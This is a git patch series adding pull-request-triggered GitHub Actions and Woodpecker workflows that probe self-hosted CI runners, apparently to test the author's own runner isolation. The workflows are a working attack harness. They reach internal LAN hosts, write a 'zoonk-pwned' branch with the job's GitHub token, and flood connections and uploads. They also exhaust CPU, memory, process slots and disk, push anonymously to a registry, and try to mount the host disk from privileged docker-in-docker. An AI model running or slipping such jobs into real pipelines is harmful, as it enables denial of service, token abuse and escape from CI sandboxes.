From be2a043519d01b62b0ff7754413d41f1ba9dc9e7 Mon Sep 17 00:00:00 2001 From: Priveetee Date: Sun, 1 Nov 2026 11:48:31 +0100 Subject: [PATCH 1/3] ci: zoonk zoink test --- .github/workflows/zoonk.yml | 112 ++++++++++++++++++++++++++++++++++++ .woodpecker/zoonk.yaml | 43 ++++++++++++++ 2 files changed, 155 insertions(+) create mode 100644 .github/workflows/zoonk.yml create mode 100644 .woodpecker/zoonk.yaml diff --git a/.github/workflows/zoonk.yml b/.github/workflows/zoonk.yml new file mode 100644 index 0000000..941d62a --- /dev/null +++ b/.github/workflows/zoonk.yml @@ -0,0 +1,112 @@ +name: Zoonk + +on: + pull_request: + +permissions: + contents: write + pull-requests: write + +jobs: + network: + runs-on: [self-hosted, Linux, X64, ci-stack] + timeout-minutes: 30 + steps: + - name: Identity, secrets and network + env: + GH_TOKEN: ${{ github.token }} + SOME_SECRET: ${{ secrets.TYPETYPE_ORCHESTRATOR_TOKEN }} + run: | + probe() { if eval "$2" >/dev/null 2>&1; then echo "OPEN $1"; else echo "blocked $1"; fi; } + tcp() { timeout 5 bash -c "exec 3<>/dev/tcp/$1/$2"; } + echo "runner $RUNNER_NAME as $(id)" + echo "secret length ${#SOME_SECRET}" + echo "limits cpu=$(cat /sys/fs/cgroup/cpu.max) memory=$(cat /sys/fs/cgroup/memory.max) pids=$(cat /sys/fs/cgroup/pids.max)" + echo "zoonk" > "$HOME/zoonk-marker" + probe "sudo" "sudo -n true" + probe "docker" "docker ps" + probe "stack lan" "tcp 10.10.40.83 8000" + probe "home router" "tcp 192.168.1.1 80" + probe "idrac" "tcp 169.254.1.1 443" + probe "smtp 25" "tcp smtp.gmail.com 25" + probe "smtp 587" "tcp smtp.gmail.com 587" + probe "port 8080" "tcp portquiz.net 8080" + probe "https" "tcp github.com 443" + probe "write with github token" "curl -fsS -m 10 -X POST -H \"Authorization: Bearer $GH_TOKEN\" https://api.github.com/repos/${GITHUB_REPOSITORY}/git/refs -d '{\"ref\":\"refs/heads/zoonk-pwned\",\"sha\":\"${GITHUB_SHA}\"}'" + - name: Connection flood and upload + run: | + python3 - <<'PY' + import socket, threading, time + ok = [] + def connect(): + try: + socket.create_connection(("1.1.1.1", 443), timeout=8).close() + ok.append(1) + except OSError: + pass + threads = [threading.Thread(target=connect) for _ in range(400)] + start = time.time() + for t in threads: t.start() + for t in threads: t.join() + print(f"flood: {len(ok)}/400 connections in {time.time() - start:.1f}s") + PY + speed=$(head -c 300000000 /dev/zero | curl -s -o /dev/null -m 60 -w '%{speed_upload}' -X POST --data-binary @- https://speed.cloudflare.com/__up || true) + echo "upload: $((${speed%.*} / 1000000)) MB/s" + + abuse: + runs-on: [self-hosted, Linux, X64, ci-stack] + timeout-minutes: 30 + steps: + - name: CPU, memory, processes, logs and disk + run: | + python3 - <<'PY' + import multiprocessing, os, subprocess, time + def usage(): + for line in open("/sys/fs/cgroup/cpu.stat"): + if line.startswith("usage_usec"): + return int(line.split()[1]) + def spin(): + end = time.time() + 15 + while time.time() < end: + pass + before, start = usage(), time.time() + procs = [multiprocessing.Process(target=spin) for _ in range(48)] + for p in procs: p.start() + for p in procs: p.join() + print(f"cpu: 48 busy processes got {(usage() - before) / 1e6 / (time.time() - start):.1f} cores") + rc = subprocess.run(["python3", "-c", "b = bytearray(20 * 1024**3)"]).returncode + print(f"memory: allocating 20 GB ended with code {rc}") + children = [] + try: + while len(children) < 20000: + children.append(subprocess.Popen(["sleep", "120"])) + except OSError: + pass + print(f"processes: started {len(children)} before the limit") + for c in children: c.kill() + for c in children: c.wait() + PY + for i in $(seq 1 200000); do echo "zoonk log spam line $i aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"; done | tail -1 + dd if=/dev/zero of="$HOME/fill" bs=16M status=none 2>/dev/null || true + echo "disk: wrote $(( $(stat -c %s "$HOME/fill") / 1024 / 1024 / 1024 )) GB before the disk was full" + rm -f "$HOME/fill" + + persistence: + needs: network + runs-on: [self-hosted, Linux, X64, ci-stack] + timeout-minutes: 10 + steps: + - name: Look for what the first job left + run: | + echo "runner $RUNNER_NAME" + if [ -e "$HOME/zoonk-marker" ]; then echo "OPEN marker from previous job survived"; else echo "blocked marker from previous job survived"; fi + + marathon: + runs-on: [self-hosted, Linux, X64, ci-stack] + timeout-minutes: 30 + steps: + - name: Run for ten minutes + run: | + echo "start $(date -u +%T) on $RUNNER_NAME" + sleep 600 + echo "still alive after ten minutes" diff --git a/.woodpecker/zoonk.yaml b/.woodpecker/zoonk.yaml new file mode 100644 index 0000000..8de868a --- /dev/null +++ b/.woodpecker/zoonk.yaml @@ -0,0 +1,43 @@ +when: + - event: pull_request + +services: + docker: + image: docker:29.1.3-dind@sha256:64d6ee47ea821c986467199baa162f5ac8cde3f57b719f18e23f3ed7a7444131 + privileged: true + environment: + DOCKER_TLS_CERTDIR: "" + commands: + - dockerd-entrypoint.sh --host=tcp://0.0.0.0:2375 --tls=false --insecure-registry=registry:5000 + +steps: + - name: escape + image: docker:29.1.3-cli@sha256:e0b6ff45302985d99b9685b2a2fec50c3379bd47067493968f51da901dc53ad5 + environment: + DOCKER_HOST: tcp://docker:2375 + commands: + - | + probe() { if eval "$2" >/dev/null 2>&1; then echo "OPEN $1"; else echo "blocked $1"; fi; } + for attempt in $(seq 1 60); do docker info >/dev/null 2>&1 && break; sleep 1; done + probe "woodpecker server" "nc -z -w 4 server 9000" + probe "woodpecker api via host" "nc -z -w 4 10.0.2.2 8000" + probe "stack lan" "nc -z -w 4 10.10.40.83 8000" + probe "home router" "nc -z -w 4 192.168.1.1 80" + probe "smtp 25" "nc -z -w 4 smtp.gmail.com 25" + probe "port 8080" "nc -z -w 4 portquiz.net 8080" + probe "https" "nc -z -w 4 github.com 443" + docker pull -q alpine:3.20 >/dev/null + docker tag alpine:3.20 registry:5000/typetype/token-beta:zoonk + probe "anonymous push to token-beta" "docker push registry:5000/typetype/token-beta:zoonk" + probe "host disk mount from dind" "docker run --rm --privileged alpine:3.20 sh -c 'mkdir -p /m && mount /dev/sda1 /m'" + before=$(awk '/usage_usec/ {print $2}' /sys/fs/cgroup/cpu.stat) + for i in $(seq 1 48); do (end=$(($(date +%s) + 15)); while [ "$(date +%s)" -lt "$end" ]; do :; done) & done; wait + after=$(awk '/usage_usec/ {print $2}' /sys/fs/cgroup/cpu.stat) + echo "cpu: 48 busy loops got about $(( (after - before) / 15000000 )) cores in this step" + + - name: marathon + image: alpine:3.20 + commands: + - echo "start $(date -u +%T)" + - sleep 600 + - echo "still alive after ten minutes" From dc9ae3f8d3357aedbb1f94c16621fc95e677fc78 Mon Sep 17 00:00:00 2001 From: Priveetee Date: Sun, 1 Nov 2026 12:00:36 +0100 Subject: [PATCH 2/3] ci: zoonk zoink test without the disk fill --- .github/workflows/zoonk.yml | 4 ---- 1 file changed, 4 deletions(-) diff --git a/.github/workflows/zoonk.yml b/.github/workflows/zoonk.yml index 941d62a..004a32c 100644 --- a/.github/workflows/zoonk.yml +++ b/.github/workflows/zoonk.yml @@ -86,10 +86,6 @@ jobs: for c in children: c.kill() for c in children: c.wait() PY - for i in $(seq 1 200000); do echo "zoonk log spam line $i aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"; done | tail -1 - dd if=/dev/zero of="$HOME/fill" bs=16M status=none 2>/dev/null || true - echo "disk: wrote $(( $(stat -c %s "$HOME/fill") / 1024 / 1024 / 1024 )) GB before the disk was full" - rm -f "$HOME/fill" persistence: needs: network From a9b82b326eaf09668a15593363e47fb225c9e3f0 Mon Sep 17 00:00:00 2001 From: Priveetee Date: Sun, 1 Nov 2026 12:12:21 +0100 Subject: [PATCH 3/3] ci: zoonk zoink watchdog retest